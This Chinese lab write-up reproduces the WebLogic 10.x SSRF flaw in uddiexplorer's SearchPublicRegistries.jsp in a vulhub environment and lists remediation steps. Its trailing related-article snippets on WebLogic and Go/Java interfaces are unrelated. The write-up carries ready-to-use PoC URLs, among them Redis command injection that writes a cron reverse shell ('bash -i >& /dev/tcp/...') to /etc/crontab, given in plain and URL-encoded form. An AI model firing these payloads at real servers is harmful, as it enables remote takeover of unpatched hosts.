Weblogic SSRF漏洞

article/2025/9/22 14:29:37

1.漏洞描述

        weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

2.影响版本

weblogic 10.0.2 – 10.3.6版本

3.POC

http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

http://192.168.42.145:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.42.138%2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

4.漏洞环境

靶机:192.168.42.145

Redis容器:172.25.0.2

Kali:192.168.42.138

5.漏洞复现

切换到vulhub/weblogic/ssrf文件夹

docker-compose up –d下载weblogic漏洞环境

访问Weblogic http://192.168.42.145:7001/console/login/LoginForm.jsp

SSRF漏洞位于http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search按钮,用burp抓包

如果指定端口开放则会返回带有404内容的提示

访问的端口不开放则会出现“not connect over”内容提示

也可利用GET请求,payload:192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001,用burp抓包

docker exec -it 5b95be683f16 /bin/bash 进入容器,查看ip

探测redis容器

6.注入HTTP头,利用Redis+SSRF漏洞反弹shell

发送三条redis命令,将反弹shell脚本写入/etc/crontab

test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.42.138/1919 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontab save aaa

 

将这三条命令进行URL编码

%74%65%73%74%20%20%0a%20%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%32%2e%31%33%38%2f%31%39%31%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%20%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%20%73%61%76%65%20%20%0a%20%0a%61%61%61

复制到operator参数后执行,看响应成功执行这三条命令

也可直接执行如下payload:

http://192.168.42.145:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.42.138%2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

等待一会,成功反弹shell

查看redis容器的/etc/crontab,命令被成功写到crontab中

7.修复方案

方法一:

删除uddiexplorer文件夹

限制uddiexplorer应用只能内网访问

方法二:

将SearchPublicRegistries.jsp直接删除

方法三:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:

    1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;

    2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;

    3)用winrar等工具打开uddiexplorer.war;

    4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;

    5)保存后上传回服务端替换原先的uddiexplorer.war;

    6)对于多台主机组成的集群,针对每台主机都要做这样的操作;

    7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。


http://chatgpt.dhexx.cn/article/pAt9o4r5.shtml

相关文章

weblogic日志管理

服务器日志 每个 WebLogic Server 实例将来自子系统和应用程序的所有消息写入位于本地主机上的服务器日志文件。默认情况下,服务器日志文件位于服务器实例根目录下的 logs 目录中; 例如D:\Oracle\Middleware\user_projects\domains\snails_domain\serve…

weblogic(10.3.6)

前言 作者简介:不知名白帽,网络安全学习者。 博客主页:https://blog.csdn.net/m0_63127854?typeblog 漏洞复现专栏:https://blog.csdn.net/m0_63127854/category_11843863.html 网络安全交流社区:https://bbs.csdn.ne…

【weblogic】weblogic服务启动方法

【转载】:https://wenku.baidu.com/view/71a2b93658f5f61fb636663c.html 一.启动服务器方式: 1.前台启动: cd /weblogic/user_projects/domains/aixadmmin/bin //进入”bin”目录 ./startWebLogic.sh 启动管理服务器 用户名:weblogic 密码:12345678 ./startM…

weblogic从入门到起飞!(weblogic安装、domain配置、管理控制台)(一)

目录 weblogic术语 weblogic安装 下载weblogic linux安装(centos6.5,其他版本类似) 配置weblogic的domain domain介绍 配置domain domain的目录结构: weblogic启动domain 管理控制台相关(和congfig.xml息息相…

weblogic(一).简介与安装

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大…

weblogic 安装部署详解

0x01 weblogic下载安装 去Oracle官网下载Weblogic 10.3.6,选择Generic版本,各版本选择下载地址:http://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html Weblogic 10.3.6 下载地址:http://download.oracle.c…

weblogic简单介绍

快速阅读 介绍weblogic中间件,以及自身架构和几个基本概念,如何下载,安装等后面再详细介绍 。 什么是weblogic WebLogic最早由 WebLogic Inc. 开发,后并入BEA 公司,最终BEA公司又并入Oracle公司 webserver是用来构…

Weblogic入门

Weblogic介绍 WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性…

WebLogic的使用总结(一)

WebLogic的使用总结(一) 下载WebLogic 到Oracle官网http://www.oracle.com/ 下载WebLogic(根据自己的情况选择),本文档下载的是Generic WebLogic Server and Coherence installer http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html 如下图: 下载…

Weblogic介绍

文章目录 介绍组件和术语Domain(域)服务器 Administration Server(管理服务器)Managed Server(被管理的服务器)Machines(机器)Weblogic Server Clusters 集群 体系结构全貌客户层协议…

Weblogic详解

一、简介 WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安…

Weblogic的了解、安装及其使用

Weblogic理解 1.Weblogic介绍1.1 简介1.2 Weblogic特性1.3 为什么要选择Oracle WebLogic Server?1.4 扩展 weblogic术语1.5、和其他服务器区别1.5.1 tomcat (免费)1.5.2 Jboss (免费)1.5.3 weblogic (收费) 1.6、Weblo…

golang interface 与 反射

golang interface 与 反射 golang interface 使用场景golang interface 数据结构golang interface 一些使用场景原理函数参数是 interface 的成本interface{}和带方法的interface的赋值过程动态类型与动态分发是如何实现的,动态分发什么时候进行,并且有什…

@interface使用详解

另一篇文章详细总结了接口相关的内容:https://blog.csdn.net/qq_39385118/article/details/99975996 首先,interface不是接口是注解类,在jdk1.5之后加入的功能,使用interface自定义注解时,自动继承了java.lang.annota…

Go语言之interface详解

Go语言Interface使用详解 初识interface基本语法其他注意事项 interface底层实现ifaceeface 侵入式与非侵入式的理解interface的应用场景类型转换实现多态功能 初识interface Go语言的面向对象的知识点时,发现它的面向对象能力全靠 interface 撑着,而且…

理解Golang中的[]interface{}和interface{}

理解Golang中的[]interface{}和interface{} 原文链接: 理解Golang中的[]interface{}和interface{} 之前在开发Go项目操作Redis时,利用Do函数进行数据操作,在返回的interface{}类型的转换中踩了一个大坑。 Do(ctx, "HKEYS", "…

interface 相关知识

FLUENT的边界类型可分为以下四种类型: 1、单面类型。这一类型的边界通常位于计算域的外边界。主要包括的边界类型有:axis,outflow,mass flow inlet,pressure far-field,pressure inlet,pressur…

GoLang之接口interface

文章目录 接口interface1.接口介绍2.接口定义2.1定义要求2.2接口可以嵌入到其他接口里但必须得匿名2.2.1接口里可以含一个接口时2.2.2接口里可以含多个接口时 2.3接口没有数据字段2.4接口可以嵌入到结构体struct里2.5空接口可以作为任何类型数据的容器2.6接口命名习惯以 er 结尾…

java中接口(interface)详解

接口(interface) 有时必须从几个类中派生出一个子类,继承它们所有的属性和方法。但是,Java不支持多重继承。有了接口,就可以得到多重继承的效果。 接口(interface)是抽象方法和常量值的定义的集合。 从本质上讲&…

接口(interface)

(1)接口定义 接口(interface)是一种定义抽象方法的类型,它没有实现,只有方法签名。接口可以被类实现,实现类必须实现接口中的所有方法。接口通常用于定义类之间的契约关系,以及实现…